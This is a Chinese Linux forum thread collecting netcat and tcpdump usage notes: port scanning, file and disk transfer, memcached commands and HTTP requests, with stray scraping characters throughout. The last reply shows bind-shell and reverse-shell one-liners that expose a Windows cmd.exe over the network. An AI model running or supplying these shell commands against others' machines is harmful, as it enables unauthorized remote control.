将设为首页浏览此站
开启辅助访问 天气与日历 收藏本站联系我们切换到窄版

易陆发现论坛

 找回密码
 开始注册
查看: 3192|回复: 13
收起左侧

tcpdump 、nc的使用记录

[复制链接]
发表于 2017-3-8 22:56:54 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?开始注册

x
nc -v 100.12.11.122  4952  
, V# C2 P% x$ C4 R nc的使用见回帖
+ w+ ?/ I6 l+ s& g8 S9 E% c* c3 m9 M
tcpdump -i any port 4952 -A -nnn -vvv |grep storage   2 g+ j6 f$ [9 b- [

' g9 }" J+ \; b! Q) J# _tcpdump略) H; _5 T' I+ K' E, x5 q9 Y

( d% U/ L; Z5 F+ [- b* g/ M1 ?- D5 b$ d+ q3 k# E

相关帖子

 楼主| 发表于 2017-3-9 18:50:59 | 显示全部楼层
nc 的参  数:
0 e4 C) W; K. E( [0 q+ o& w) F -g<网关>  设置路由器跃程通信网关,最丢哦可设置8个。
! s6 l& A$ C/ r0 E0 d! G: H -G<指向器数目>  设置来源路由指向器,其数值为4的倍数。# d4 R0 W  n. C4 o3 g1 b8 \+ Q
-h  在线帮助。- e2 E" d+ ]3 D. I2 ^0 m/ l/ B
-i<延迟秒数>  设置时间间隔,以便传送信息及扫描通信端口。
! H) p2 _' ~9 N -l  使用监听模式,管控传入的资料。
4 X  M& b; D5 i& j) x) @+ h -n  直接使用IP地址,而不通过域名服务器。
4 m3 E* V( L: ^. p -o<输出文件>  指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。* K" Y; b& l9 j, j" [
-p<通信端口>  设置本地主机使用的通信端口。( a/ H3 g0 M; [8 i6 `- x
-r  乱数指定本地与远端主机的通信端口。
) X% N# U6 ~( [, [6 m9 i# B5 ^ -s<来源位址>  设置本地主机送出数据包的IP地址。6 L& J! M; R0 U# C& v2 c% d
-u  使用UDP传输协议。6 q" c5 a' c  g  {
-v 详细输出--用两个-v可得到更详细的内容
$ I/ J+ w0 x3 I: E" X -w<超时秒数>  设置等待连线的时间。
8 b8 n) t: g4 r4 H; r -z  使用0输入/输出模式,只在扫描通信端口时使用。
 楼主| 发表于 2017-3-9 18:51:42 | 显示全部楼层
测试:
3 S2 d7 r/ e* X" r0 f4 @4 P  端口扫描
* ~. o5 f  k; k: r5 t# nc -v -w 2 192.168.2.34 -z 21-24
! R# L, X( }6 w9 o  V1 Ync: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused7 E) l7 a) T- {- d
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!( L) T5 @# @. L. Z+ J" V" ?' ?
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
9 D* C" O4 X  znc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused
 楼主| 发表于 2017-3-9 18:52:16 | 显示全部楼层
从192.168.2.33拷贝文件到192.168.2.34
) U9 S# }/ {% @3 ^% V: T% H$ l在192.168.2.34上: nc -l 1234 > test.txt2 z& ]3 E: {( v) ]
在192.168.2.33上: nc 192.168.2.34 < test.txt
 楼主| 发表于 2017-3-9 18:54:57 | 显示全部楼层
简单聊天工具; W+ `9 B0 U3 j. r
在192.168.2.34上: nc -l 1234$ {+ L+ L: V, F
在192.168.2.33上: nc 192.168.2.34 12343 w' k$ P* q% r" x% j
这样,双方就可以相互交流了。使用ctrl+C(或D)退出。& A, f3 ^6 ?8 \# ~: P) X: ?
 楼主| 发表于 2017-3-9 18:56:09 | 显示全部楼层
用nc命令操作memcached
1 m$ g1 a2 @0 _: a1)存储数据:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211% Q4 x( S8 w" P
2)获取数据:printf “get keyrn” |nc 192.168.2.34 11211$ B. s& l5 Q" [& B1 k5 Z
3)删除数据:printf “delete keyrn” |nc 192.168.2.34 11211  k. f; Y! H4 z
4)查看状态:printf “statsrn” |nc 192.168.2.34 11211! D: {2 N2 o) |$ [. H5 e7 E
5)模拟top命令查看状态:watch “echo stats” |nc 192.168.2.34 11211- F9 h8 V% i' S5 x
6)清空缓存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)
 楼主| 发表于 2017-3-9 18:56:31 | 显示全部楼层
nc -p 1234 -w 5 host.example.com 80
- b9 G+ Y% c) M建立从本地1234端口到host.example.com的80端口连接,5秒超时' I! n8 \" T* C$ b; j. {9 a# T2 X
nc -u host.example.com 53
" x$ w. z/ J8 b' W; h2 Fu为UDP连接
 楼主| 发表于 2017-3-9 18:57:24 | 显示全部楼层
echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 809 P& q2 |, ?9 v! K7 D) q) G
连接到主机并执行
 楼主| 发表于 2017-3-9 18:58:55 | 显示全部楼层
nc -v -z host.example.com 70-80
+ ~& D! k: |1 t- l, `扫描端口(70到80),可指定范围。-v输出详细信息。
 楼主| 发表于 2017-3-9 18:59:31 | 显示全部楼层
远程拷贝文件: Y' B( ]8 X) W" [% C& B) ^; ]
从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,  j" \  h1 }' S* b# O6 M7 I; n
7 K5 b8 c/ P# V5 ?# l0 O
server2上运行:. J! [& \5 M- |7 D) v" C
) w& Q1 H$ k* [) x6 V
root@hatest2 tmp]# nc -lp 123 > install.log
" ], R  u  w# t  [' l! q3 C* |
1 U6 j6 c. q+ E3 userver1上运行:& Y: h6 P: x2 J
: J" C! Z+ P8 u
[root@hatest1 ~]# ll install.log6 Z5 T, N, Z" L# M# o6 e  z
-rw-r–r–  1 root root 39693 12月 20  2007 install.log+ {/ k; Y& o9 l/ t5 z) f
[root@hatest1 ~]# nc -w 1 192.168.228.222 123 < install.log
 楼主| 发表于 2017-3-9 19:00:07 | 显示全部楼层
克隆硬盘或分区8 K/ K. B, J) P4 \; X! \
操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
- i6 v/ ^/ [1 p" X克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:
; K( {$ E* k# B) q# nc -l -p 1234 | dd of=/dev/sda
: d5 K3 R8 U) [, X0 K' y) a
9 z9 ~7 k+ h# t$ Nserver1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
- C9 A1 J* A) t8 X  P( ^+ }# dd if=/dev/sda | nc 192.168.228.222 12348 W, g6 c- q  G+ O& [' o0 S" C
6 |! y. d% q% ^( k7 H; ?
※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。
 楼主| 发表于 2017-3-9 19:01:51 | 显示全部楼层
克隆硬盘或分区
/ D! E5 L' n6 |0 K; X% n操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。" c# s8 g/ f; G
克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:# ?  j7 |  L8 f3 u
# nc -l -p 1234 | dd of=/dev/sda/ e8 a" q  [% r0 P

$ N& J+ z% s9 nserver1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
, ^2 `( I$ z/ ?# Z' _; ^# dd if=/dev/sda | nc 192.168.228.222 12345 b, Q: M( F! N( {: h

. q& |6 M  M! B' O& g※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。
发表于 2017-3-9 19:09:26 | 显示全部楼层
保存Web页面
6 i4 D  Y4 R: W# while true; do nc -l -p 80 -q 1 < somepage.html; done
发表于 2017-3-9 19:12:51 | 显示全部楼层
模拟HTTP Headers,获取网页源代码和返回头部信息$ f3 ]7 w5 Z- m) \6 s6 a! p9 C6 u

1 \" ^! _; c6 `[root@hatest1 ~]# nc www.linuxso.com 80
  W1 B8 H/ F# f/ j! {& q1 o/ cGET / HTTP/1.1
. ?4 a& p% t& c" J7 ^Host: ispconfig.org  y  q" F% M/ F' E& j2 k, m
Referrer: mypage.com% Q9 ^4 g$ b* X( q
User-Agent: my-browser
  S; j8 H0 c& `+ j; x$ d& M
3 X- u2 {8 s5 R1 o3 |# r0 R! y6 RHTTP/1.1 200 OK
( q3 c8 T% i/ E4 ~' J. qDate: Tue, 16 Dec 2008 07:23:24 GMT
2 l6 S9 l9 l0 K/ r+ r; VServer: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8
% L) D2 ?0 C" A% @! SSet-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/& {+ p! {. @: q% a7 ?1 S2 P
Expires: 0% D9 p, X6 @$ A9 T$ ]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=05 o6 D3 X. p" |. O
Pragma: no-cache
3 U" @5 u$ F9 h( e/ S& Q/ dCache-Control: private, post-check=0, pre-check=0, max-age=07 B. X1 h) p+ w" A4 B( J
Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/
0 _5 \& m$ x. T+ nVary: Accept-Encoding
+ z# X- U( `, v! w) H" Q6 a* MTransfer-Encoding: chunked( V" H2 C/ w. v9 q1 }! X- s& A
Content-Type: text/html6 i( x4 x% B; x' K
[......]: O! F$ c9 e# v: I: n2 P9 \
在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。
+ b  Z! {4 p& q' y/ x8 n$ Y- P3 R

4 w0 A0 r. l9 H# o7 X& W4 b7 S" N
9 @& F; p, ~; Q/ H& L' `传输目录
5 P5 v( a% t4 Z6 ~) d从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
( A3 R/ D# o% d) _; P引用7 D# E# L5 t  K

  ?, w' Z/ r2 _6 _7 ?- l! t# a[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
$ j! _0 t# q0 G1 D" l& a' p) Z9 ?server1上运行:
' M# z  Y3 d) W) h2 \1 T引用
4 G8 t9 ^6 E& S5 d- { , O9 J* g+ `4 M6 B! l
[root@hatest1 ~]# ll -d nginx-0.6.34
6 I7 m! ^" Z) v* i& Rdrwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
5 q8 O5 H" D/ i[root@hatest1 ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234
6 E1 [$ g- |0 p$ ], Y& Z" |
  |; T9 I, s. g" |6 b3 E
+ L0 U0 S/ _/ Z2 j) ]% u9 D) c* ]/ G3 d2 Z1 T
REMOTE主机绑定SHELL
) M; ]+ F) X  c& c5 n4 v例子:
* f, ?4 e  l4 w6 ]# ~3 g; t
& M+ K# n, F; R( a& n2 M  D. X格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
4 K. h$ S( H5 g* P6 }% Y0 R讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口: c- {( ~) F5 j+ J0 V- p

8 U: d( ]7 }( I3 N/ t" H$ \9 I/ }
5 Q! D7 v2 K2 e7 b1 wREMOTE主机绑定SHELL并反向连接- V3 d* ~' {  z( d3 ]
例子:( h3 J- y6 l6 c; ~1 h
7 p% k/ w. L( ^- D  U$ w
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 53547 H2 S% _# u& D0 W9 o/ r
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口, w( A* y# N  ~8 q+ J
以上为最基本的几种用法(其实NC的用法还有很多,0 W( G7 I, O1 F% _) @: ]+ k
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)
# o5 e% F' ^/ P! \9 @" ?1 w$ R
您需要登录后才可以回帖 登录 | 开始注册

本版积分规则

关闭

站长推荐上一条 /4 下一条

如有购买积分卡请联系497906712

QQ|返回首页|Archiver|手机版|小黑屋|易陆发现 点击这里给我发消息

GMT+8, 2022-1-28 00:42 , Processed in 0.048515 second(s), 26 queries .

Powered by LR.LINUX.cloud bbs168x X3.2 Licensed

© 2012-2022 Comsenz Inc.

快速回复 返回顶部 返回列表